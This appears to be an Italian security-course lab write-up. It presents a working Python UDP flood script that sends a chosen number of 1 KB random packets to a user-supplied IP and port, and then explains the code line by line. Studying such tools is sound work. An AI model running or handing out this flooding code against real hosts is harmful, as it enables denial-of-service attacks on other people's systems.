

QUA PRESENTO IL CODICE PER IL FLOOD DI PACCHETTI DA 1KB

```
Welcome | Flood UDP.py x
Flood UDP.py > ...
1 import socket
2 import random
3
4 # 1. Input dell'IP Target
5 ip_target = input("Inserisci l'IP della macchina target: ")
6
7 # 2. Input della Porta Target
8 port_target = int(input("Inserisci la porta UDP della macchina target: "))
9
10 # 4. Numero di Pacchetti da Inviare
11 num_packets = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))
12
13 # Creazione del socket UDP
14 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
15
16 def generate_packet():
17     """Genera un pacchetto di 1 KB composto da byte casuali."""
18     return bytes(random.getrandbits(8) for _ in range(1024))
19
20 # Invio dei pacchetti
21 for i in range(num_packets):
22     packet = generate_packet()
23     sock.sendto(packet, (ip_target, port_target))
24     print(f"Pacchetto {i+1}/{num_packets} inviato")
25
26 print("Tutti i pacchetti sono stati inviati.")
27
```

Spieghiamo riga per riga il codice:

1 ip_target = input("Inserisci l'IP della macchina target: ")

Qui il programma richiede all'utente di inserire l'indirizzo IP della macchina target, memorizzandolo nella variabile ip_target.

2 port_target = int(input("Inserisci la porta UDP della macchina target: "))

L'utente inserisce la porta UDP del target. Il valore viene convertito in un intero e memorizzato in port_target.

3 num_packets = int(input("Quanti pacchetti da 1 KB vuoi inviare? "))

L'utente specifica quanti pacchetti da 1 KB inviare. Questo valore è memorizzato in num_packets

4 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

Si crea un socket UDP utilizzando il modulo socket. AF_INET indica che si usa IPv4, e SOCK_DGRAM specifica il protocollo UDP

5 def generate_packet():

return bytes(random.getrandbits(8) for _ in range(1024))

La funzione generate_packet() genera un array di 1024 byte casuali (1 KB) utilizzando random.getrandbits(8) per generare un byte alla volta.

```
6 for i in range(num_packets):  
    packet = generate_packet()  
    sock.sendto(packet, (ip_target, port_target))  
    print(f"Pacchetto {i+1}/{num_packets} inviato")
```

Si itera un numero di volte pari a num_packets.

Per ogni iterazione, si genera un pacchetto tramite generate_packet().

Il pacchetto viene inviato alla destinazione (ip_target, port_target) con sock.sendto().

Viene stampato un messaggio di conferma per ogni pacchetto inviato.

```
7 print("Tutti i pacchetti sono stati inviati.")
```

Al termine del ciclo, il programma informa che tutti i pacchetti sono stati inviati.

LE LIBRERIE USATE

SOCKET: La libreria socket è fondamentale per creare connessioni di rete. Fornisce un'interfaccia di basso livello per la comunicazione tra computer utilizzando vari protocolli, tra cui TCP e UDP.

RANDOM: La libreria random è usata per generare numeri casuali, che possono essere utilizzati in una varietà di applicazioni, come simulazioni, crittografia o generazione di dati casuali.

PROCESSORE NON SOTTO FLOOD

